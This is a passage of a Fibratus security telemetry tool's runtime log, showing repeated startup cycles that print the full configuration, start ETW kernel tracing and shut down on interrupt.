enable-vamap=>true enable-mem=>false min-buffers=>16 enable-thread=>true enable-image=>true flush-interval=>1s enable-registry=>true enable-net=>true enable-dns=>false enable-fileio=>true max-buffers=>36 enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-age=>0 level=>info formatter=>text max-size=>100] + output ......................... [ elasticsearch=>[ template-name=>fibratus sniff=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s healthcheck=>true trace-log=>false healthcheck-interval=>10s index-name=>fibratus timeout=>5s enabled=>false gzip-compression=>false] amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 routing-key=>fibratus enabled=>false delivery-mode=>transient passive=>false exchange=>fibratus durable=>false timeout=>5s vhost=>/ tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] method=>POST serializer=>json] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false excluded-files=>[] enabled=>false skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T00:23:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:23:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:23:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T00:23:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:23:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:23:29+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T00:23:29+01:00 level=info msg=bootstrapping with pid 15400. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T00:23:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] port=>25 content-type=>text/html enabled=>false use-template=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-audit-api=>true stack-enrichment=>true enable-thread=>true enable-threadpool=>false enable-handle=>false enable-fileio=>true enable-net=>true enable-dns=>false flush-interval=>1s min-buffers=>16 max-buffers=>36 enable-vamap=>true enable-image=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info max-age=>0 formatter=>text max-size=>100 max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ enabled=>false passive=>false durable=>false exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange-type=>topic vhost=>/ timeout=>5s delivery-mode=>transient routing-key=>fibratus] http=>[ endpoints=>[] serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s] elasticsearch=>[ index-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-interval=>10s sniff=>false template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s bulk-workers=>1 trace-log=>false gzip-compression=>false timeout=>5s]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false skip-mmaps=>false excluded-procs=>[] skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true enabled=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T00:23:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:23:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:28:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T00:28:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:28:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:30:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T09:30:47+01:00 level=info msg=bootstrapping with pid 16504. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T09:30:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false enable-registry=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-thread=>true max-buffers=>36 enable-audit-api=>true enable-threadpool=>true enable-fileio=>true stack-enrichment=>true enable-image=>true enable-mem=>true enable-vamap=>true flush-interval=>1s buffer-size=>512 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 formatter=>text max-age=>0 max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false endpoints=>[] timeout=>5s serializer=>json method=>POST] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] template-name=>fibratus index-name=>fibratus timeout=>5s enabled=>false trace-log=>false gzip-compression=>false healthcheck=>true sniff=>false bulk-workers=>1 healthcheck-timeout=>5s flush-period=>1s] amqp=>[ exchange=>fibratus durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ timeout=>5s delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false passive=>false exchange-type=>topic] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-allocs=>false enabled=>false fastscan=>true excluded-files=>[] skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T09:30:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:30:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:33:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T09:33:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:33:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:33:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T09:33:28+01:00 level=info msg=bootstrapping with pid 16224. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T09:33:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true port=>25 content-type=>text/html enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-net=>true enable-threadpool=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-handle=>false enable-audit-api=>true min-buffers=>16 enable-mem=>true enable-registry=>true enable-thread=>true enable-dns=>false enable-vamap=>true enable-image=>true enable-fileio=>true stack-enrichment=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info log-stdout=>true max-age=>0 formatter=>text max-size=>100] + output ......................... [ elasticsearch=>[ bulk-workers=>1 timeout=>5s enabled=>false trace-log=>false flush-period=>1s gzip-compression=>false template-name=>fibratus healthcheck-timeout=>5s index-name=>fibratus healthcheck-interval=>10s healthcheck=>true sniff=>false servers=>[http://127.0.0.1:9200]] http=>[ tls-insecure-skip-verify=>false serializer=>json enabled=>false endpoints=>[] timeout=>5s method=>POST enable-gzip=>false] amqp=>[ exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 passive=>false routing-key=>fibratus durable=>false exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false vhost=>/ timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false enabled=>false skip-allocs=>false scan-timeout=>10s skip-files=>false excluded-files=>[] excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T09:33:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:33:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:41:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T09:41:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:41:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:42:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T09:42:38+01:00 level=info msg=bootstrapping with pid 19008. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T09:42:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-thread=>true min-buffers=>16 enable-mem=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-net=>true enable-audit-api=>true enable-dns=>false flush-interval=>1s enable-fileio=>true enable-image=>true max-buffers=>36 enable-threadpool=>true stack-enrichment=>true enable-vamap=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 log-stdout=>true max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ sniff=>false flush-period=>1s template-name=>fibratus healthcheck=>true index-name=>fibratus enabled=>false healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s gzip-compression=>false bulk-workers=>1 trace-log=>false] http=>[ enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[] method=>POST serializer=>json] amqp=>[ exchange=>fibratus tls-insecure-skip-verify=>false timeout=>5s exchange-type=>topic routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 durable=>false vhost=>/ passive=>false enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true skip-mmaps=>false excluded-files=>[] skip-registry=>false scan-timeout=>10s enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T09:42:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:42:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:43:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T09:44:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:44:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:44:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T09:44:31+01:00 level=info msg=bootstrapping with pid 18984. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T09:44:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html use-template=>true enabled=>false to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-vamap=>true buffer-size=>512 flush-interval=>1s enable-audit-api=>true enable-registry=>true enable-thread=>true enable-dns=>false enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-fileio=>true stack-enrichment=>true enable-mem=>true enable-net=>true min-buffers=>16 enable-threadpool=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 formatter=>text log-stdout=>true level=>info] + output ......................... [ amqp=>[ delivery-mode=>transient vhost=>/ passive=>false url=>amqp://localhost:5672 durable=>false routing-key=>fibratus exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic enabled=>false] http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json enabled=>false method=>POST] elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false template-name=>fibratus sniff=>false flush-period=>1s bulk-workers=>1 timeout=>5s index-name=>fibratus healthcheck-interval=>10s healthcheck=>true trace-log=>false healthcheck-timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + enabled=>true]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] fastscan=>true excluded-files=>[] skip-files=>false enabled=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T09:44:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:44:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:45:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T09:45:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:45:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:46:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T09:46:00+01:00 level=info msg=bootstrapping with pid 16120. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T09:46:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] content-type=>text/html use-template=>true port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-image=>true enable-threadpool=>true max-buffers=>36 enable-registry=>true flush-interval=>1s enable-mem=>true min-buffers=>16 enable-vamap=>true stack-enrichment=>true enable-net=>true buffer-size=>512 enable-audit-api=>true enable-dns=>false enable-fileio=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 level=>info log-stdout=>true max-backups=>15] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} +] amqp=>[ exchange=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 routing-key=>fibratus timeout=>5s durable=>false vhost=>/ enabled=>false delivery-mode=>transient] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enabled=>false serializer=>json method=>POST] elasticsearch=>[ template-name=>fibratus flush-period=>1s gzip-compression=>false healthcheck-interval=>10s sniff=>false healthcheck-timeout=>5s timeout=>5s healthcheck=>true servers=>[http://127.0.0.1:9200] trace-log=>false enabled=>false bulk-workers=>1 index-name=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true skip-mmaps=>false enabled=>false skip-files=>false excluded-files=>[] skip-registry=>false excluded-procs=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T09:46:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:46:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:46:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T09:46:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:46:49+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:47:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T09:47:15+01:00 level=info msg=bootstrapping with pid 12572. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T09:47:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true enabled=>false content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-vamap=>true enable-mem=>true enable-dns=>false max-buffers=>36 enable-thread=>true enable-image=>true enable-threadpool=>true enable-handle=>false min-buffers=>16 enable-registry=>true enable-net=>true stack-enrichment=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-audit-api=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + format=>pretty] http=>[ method=>POST endpoints=>[] enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true trace-log=>false sniff=>false flush-period=>1s timeout=>5s enabled=>false template-name=>fibratus gzip-compression=>false healthcheck-interval=>10s] eventlog=>[ level=>info enabled=>false] amqp=>[ timeout=>5s routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic vhost=>/ delivery-mode=>transient passive=>false durable=>false enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-registry=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-files=>false skip-mmaps=>false enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T09:47:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:47:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T09:48:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T09:48:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T09:48:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:38:30+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T10:38:30+01:00 level=info msg=bootstrapping with pid 18192. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T10:38:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 enable-threadpool=>true enable-mem=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-net=>true enable-thread=>true enable-audit-api=>true buffer-size=>512 enable-registry=>true enable-dns=>false enable-vamap=>true enable-handle=>false flush-interval=>1s enable-fileio=>true enable-image=>true] + 